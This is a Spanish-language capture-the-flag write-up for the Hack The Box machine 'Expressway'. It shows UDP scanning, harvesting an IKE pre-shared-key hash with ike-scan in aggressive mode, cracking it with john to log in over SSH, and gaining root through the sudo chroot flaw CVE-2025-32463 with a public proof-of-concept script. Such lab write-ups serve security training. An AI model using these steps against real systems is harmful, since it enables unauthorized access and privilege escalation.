Expressway

Platform
Hack The Box
Difficulty
Easy
System
Linux (Debian)
Techniques
  • Enumeración UDP
  • IKE/ISAKMP con ike-scan
  • Cracking de PSK con john
  • SSH
  • Escalada con sudo (CVE-2025-32463)
Expressway es la primera máquina easy de la Season 9.

Escaneo inicial

bash
$ nmap -sS -p- -n -Pn --open --min-rate 5000 -oN escaneo.txt -sCV 10.10.11.87Nmap scan report for 10.10.11.87Host is up (0.22s latency).Not shown: 65534 closed tcp ports (reset)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel​Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Sep 21 17:50:49 2025 -- 1 IP address (1 host up) scanned in 18.98 seconds
La máquina solo tiene abierto el puerto 22 (SSH). Sin credenciales válidas no hay nada que hacer ahí, así que pasamos a escanear los puertos UDP.
terminal
$ sudo nmap -sU --min-rate 5000 10.10.11.87Starting Nmap 7.97 ( https://nmap.org ) at 2025-09-23 11:56 +0200Nmap scan report for 10.10.11.87Host is up (0.080s latency).Not shown: 993 open|filtered udp ports (no-response)PORT      STATE  SERVICE500/udp   open   isakmp1028/udp  closed ms-lsa17487/udp closed unknown21364/udp closed unknown21842/udp closed unknown34038/udp closed unknown37813/udp closed unknown
El puerto 500 está abierto. Para saber más sobre isakmp y cómo auditarlo, HackTricks tiene una página sobre IPsec/IKE.
ISAKMP (Internet Security Association and Key Management Protocol) es un protocolo que define el marco para establecer, negociar, modificar y eliminar asociaciones de seguridad (SA) y claves criptográficas en una conexión de red.

Enumeración de IKE

Con la herramienta ike-scan podemos sacar información:
bash
$ sudo ike-scan -M 10.10.11.87Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)10.10.11.87	Main Mode Handshake returned	HDR=(CKY-R=f4128fae20cf2b2a)	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)	VID=09002689dfd6b712 (XAUTH)	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)​Ending ike-scan 1.9.6: 1 hosts scanned in 0.106 seconds (9.41 hosts/sec).  1 returned handshake; 0 returned notify
La última línea dice 1 returned handshake: el objetivo está configurado para IPsec y acepta la negociación IKE. Además usa autenticación por clave compartida (Auth=PSK).
Si lanzamos el modo agresivo con un ID inventado, el servidor nos devuelve un hash de la PSK:
bash
$ sudo ike-scan -P -M -A -n fakeID 10.10.11.87Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)10.10.11.87	Aggressive Mode Handshake returned	HDR=(CKY-R=80a866d855fbf729)	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)	KeyExchange(128 bytes)	Nonce(32 bytes)	ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)	VID=09002689dfd6b712 (XAUTH)	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)	Hash(20 bytes)​IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):3fe902bd4e2cc055b00737626ba08dcdce03831a58ee4bdee071b1a1ca8a01fe13212ffa50f1c0ec166cb2af7ea38ffa098d22f7ab8d210c247d4c5d807625b5d610cae70d8b058db9dd0e95c4c0ce8de46148dad42f51414b6750f4cd450e4248d9d88da9e64fb6c6afe718d6f74dff468f0d0545c3a49e7e1c208620e91260:bcf6b65e900b434f3374bd2b268242711776d865f9b256f7e009692740655d97e86f5f4fa6939b6275f506a8f26e3290c989aeb47e523acc1d5f78f785173ea4e3790145bc3556f62d74ce6e8695d0425389f377b1c738972205e9db7f75bcd2a8bd10fc243980e0d4e6af2c72f0c69322fa68d6e75e22ebb2b7b6a78c3410a2:80a866d855fbf729:9a96d48703eba5f0:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:84fade652fda04134f4c94be3cecfeaeb5725740:54309b93a63ce3737289331fe4e81cd862ca11b0d6fc6756143083ecca6e3080:d43bff4be0b9fa62499f499e7e63cb94f681d5d1Ending ike-scan 1.9.6: 1 hosts scanned in 0.114 seconds (8.75 hosts/sec).  1 returned handshake; 0 returned notify
Aunque el ID que mandamos es falso, la respuesta incluye la identidad del servidor: ike@expressway.htb. Eso nos da un posible usuario válido, ike.

Cracking del hash

Guardamos el hash en un fichero y lo convertimos con ikescan2john, de la suite de John the Ripper, a un formato que john pueda crackear si la contraseña es débil:
terminal
$ ikescan2john ike.txt > ike.hash$ john --wordlist=/usr/share/wordlists/rockyou.txt ike.hash$ john ike.hash --show?:freakingrockstarontheroad​1 password hash cracked, 0 left
Ya tenemos una contraseña. Queda probarla en el único servicio TCP abierto, SSH.

Acceso inicial (user.txt)

Probamos el usuario ike con la contraseña crackeada:
bash
$ ssh ike@10.10.11.87ike@10.10.11.87's password:Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64​The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.​Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Tue Sep 23 11:09:18 2025 from 10.10.16.6ike@expressway:~$
Conseguimos el acceso inicial y la flag user.txt.

Escalada a root

Enumerando el sistema vemos esta versión de sudo:
terminal
ike@expressway:~$ sudo -VSudo version 1.9.17Sudoers policy plugin version 1.9.17Sudoers file grammar version 50Sudoers I/O plugin version 1.9.17Sudoers audit plugin version 1.9.17
Esta versión es vulnerable a CVE-2025-32463, un fallo en la opción -R (--chroot) de sudo. Al usarla, sudo hace las cosas en este orden:
  • Lee <directorio>/etc/nsswitch.conf, es decir, el del directorio que le pasamos como chroot y que controlamos nosotros
  • Carga las bibliotecas NSS que indica ese fichero, todavía con privilegios de root
  • Solo después aplica el chroot, cuando ya es tarde
Así, cualquier usuario local puede hacer que sudo cargue una biblioteca suya como root, aunque no tenga ninguna regla en sudoers.
Para explotarlo usamos el PoC sudo-chwoot.sh. Lo copiamos a la máquina como exp.sh y lo ejecutamos:
terminal
ike@expressway:/tmp$ chmod +x exp.shike@expressway:/tmp$ ./exp.shwoot!root@expressway:/# iduid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
Ya somos root y podemos leer la flag root.txt.